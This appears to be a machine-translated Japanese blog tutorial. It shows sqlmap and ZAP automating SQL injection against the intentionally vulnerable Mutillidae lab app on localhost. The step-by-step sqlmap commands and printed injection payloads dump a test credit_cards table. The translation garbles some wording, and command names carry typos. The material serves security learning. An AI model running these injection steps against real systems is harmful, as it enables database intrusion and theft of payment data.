このエピソードを思わず思い出すたびに、別の興味深い本や技術文書の山に直面します。 時間管理について多くの本が書かれていますが、私にとっては簡単な式に帰着します。基本を理解し、例を理解し、それから自動化だけです!
注射がどのように機能するかの大まかな考えができたので、なぜ私たちの生活を簡素化して、過去の例をもう一度試してみてください、しかし追加のソフトウェアの助けを借りて。 次の2つのツールが必要です。
Sqlmap-SQLおよびZAPプロキシの脆弱性の検索と悪用を自動化できるツール。Webサーバーのブラウザー間のトラフィックを分析するために必要なローカルプロキシサーバー。
繰り返しますが、これらのツールだけではないことを言及する必要があります。次のブログで、sqlmapの代わりにsqlninjaを扱う必要があること、そしてBurpがあるときにZAPに時間を費やす必要がないことを確信できることを確信します。 私は誰とも議論しません。
クライアントとWebサーバー間のトラフィックを傍受することで、生活を楽にし始めます。 結果のデータは、sqlmapのパラメーターとして使用されます。 概して、脆弱なアプリケーションのURLもそのようなパラメータとして機能しますが、プロキシからのデータはより明確になります。
前の記事で分析したA1の同じ例(「SQLi-データの抽出」>「ユーザー情報(SQL)」)を使用します。
ZAPプロキシを介してこのページにアクセスし、データを入力します。 私たちが学んだことから何かを試そうとする誘惑はすでにあると理解していますが、今は明らかに間違ったデータを入力するだけです。 お気に入りの管理者/パスワードを入力し、傍受で次のリクエストを受け取ります。
GET http://127.0.0.1/mutillidae/index.php?page=user- info.php&username=admin&password=password&user-info-php-submit- button=View+Account+Details HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://127.0.0.1/mutillidae/index.php?page=user-info.php Cookie: showhints=1; PHPSESSID=aqvrdm615sm8k7isopefgbhega Connection: keep-alive Upgrade-Insecure-Requests: 1 Host: 127.0.0.1
ここでは、主に最初の行、つまりリクエストに関心があります。 傍受したかどうかを確認すると便利な場合があります。 これは、同じブラウザでこの生成されたリクエストを繰り返すことで実行できます。 エラーが発生して同じページが表示された場合、正しい軌道に乗っています。
傍受したリクエストを別のファイルrequest_sqlmap.txtとして保存します。
次に、分析のためにこのファイルをsqlmapに渡します。
sqlmap -r reqest_sqlmap.txt --banner
どのDBMSを処理しているかを判断するには、 sqlmapの–bannerパラメーターが必要です。 この例では、これはそれほど重要ではありませんが、実際には、目標に当てはまらない他のDBMSの側面に気を取られることなくテストを高速化できます。
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable GET parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y/N] n sqlmap identified the following injection point(s) with a total of 181 HTTP(s) requests: --- Parameter: username (GET) Type: error-based Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: page=user-info.php&username=admin' AND (SELECT 5399 FROM(SELECT COUNT(*),CONCAT(0x7171707871,(SELECT (ELT(5399=5399,1))),0x71706a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'UUZA'='UUZA&password=password&user-info-php-submit-button=View Account Details Type: UNION query Title: Generic UNION query (NULL) - 7 columns Payload: page=user-info.php&username=admin' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7171707871,0x4d754c5372467a65665a4c7672636e4c4a554777547162474e666f784e6b69754a43544a41675a50,0x71706a6271),NULL,NULL,NULL-- GGvT&password=password&user-info-php-submit-button=View Account Details --- [23:20:10] [INFO] the back-end DBMS is MySQL [23:20:10] [INFO] fetching banner web server operating system: Windows web application technology: Apache 2.4.29, PHP 7.2.3 back-end DBMS: MySQL >= 5.0 banner: '10.1.31-MariaDB' [23:20:10] [INFO] fetched data logged to text files under '/home/belowzero273/.sqlmap/output/127.0.0.1'
スキャンは正常に完了し、一般に、すでにわかっていることをもう一度確認しました。
[23:19:48] [INFO] GET parameter 'username' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
さらに、sqlmapは、mysql、またはそのフォークを扱っていると判断しました。 次に、サーバー上にあるデータベースを見てみましょう。
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL --dbs
以下、インターセプトファイルをsqlmapのパラメーターとして示します。 さらに、既存のデータベースに関するデータを取得するために、すでに知っているパラメーター、DBMSタイプ、および-dbsスイッチを示します。
[23:27:19] [WARNING] reflective value(s) found and filtering out available databases [6]: [*] information_schema [*] mutillidae [*] mysql [*] performance_schema [*] phpmyadmin [*] test
素晴らしい。 通常、データベースには意味のある名前が付けられるか、アプリケーションのインストール時に自動的に作成されます。 「隠蔽によるセキュリティ」の原則はもちろん取り消されていませんが、これはルールというよりは例外です。 私たちのケースで最も興味深いのは、明らかに、ベースのマチ科です。それが何で構成されているのか見てみましょう。
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae --tables
ここで、知っていることに、必要なDBMSと–tablesキーを追加して、このデータベースのテーブルを調べます。
[23:29:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae [13 tables] +----------------------------+ | accounts | | balloon_tips | | blogs_table | | captured_data | | credit_cards | | help_texts | | hitlog | | level_1_help_include_files | | page_help | | page_hints | | pen_test_tools | | user_poll_results | | youtubevideos | +----------------------------+
もう悪くない。 credit_cardsテーブルは特に有望に見えます。 それを見てみましょう:
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credita_cards --columns
取得:
[23:31:35] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [4 columns] +------------+---------+ | Column | Type | +------------+---------+ | ccid | int(11) | | ccnumber | text | | ccv | text | | expiration | date | +------------+---------+
うわー、クレジットカードデータを保存するテーブルがあります! 到着したので、次の表を見てみましょう。
sqlmap -r reqest_sqlmap.txt -p username --dbms=MySQL -D mutillidae -T credit_cards --dump
おっと:
[23:32:42] [WARNING] reflective value(s) found and filtering out Database: mutillidae Table: credit_cards [5 entries] +------+-----+----------------------------+-----------------+ | ccid | ccv | ccnumber | expiration | +------+-----+----------------------------+-----------------+ | 1 | 745 | 4444111122223333 | 2012-03-01 | | 2 | 722 | 7746536337776330 | 2015-04-01 | | 3 | 461 | 8242325748474749 | 2016-03-01 | | 4 | 230 | 7725653200487633 | 2017-06-01 | | 5 | 627 | 1234567812345678 | 2018-11-01 | +------+-----+----------------------------+-----------------+
クレジットカードです。 これで、2つの質問が頭に浮かぶはずです。どのように機能するのか、このデータはどこから来たのか。
どのように機能しますか? 厳密に言えば、可能性のあるすべてのオプションを並べ替えて、特定の脆弱性を悪用しようとランダムに試みる場合と同じです。
しかし、データはどこから来たのかという疑問は、そのような重要な情報を不適切な場所に投稿した管理者にあります。
Sqlmapには、1つの記事では解析できない数十のパラメーターがあります。 しかし、私の記事の目的はソリューションを紹介することであり、それはあなた次第です。 余暇にベースの残りの部分を掘り下げてパラメータを試してみてください。おそらく、クレジットカードは最も面白くないでしょう。 =)
このリンクで著者のブログを読んでください 。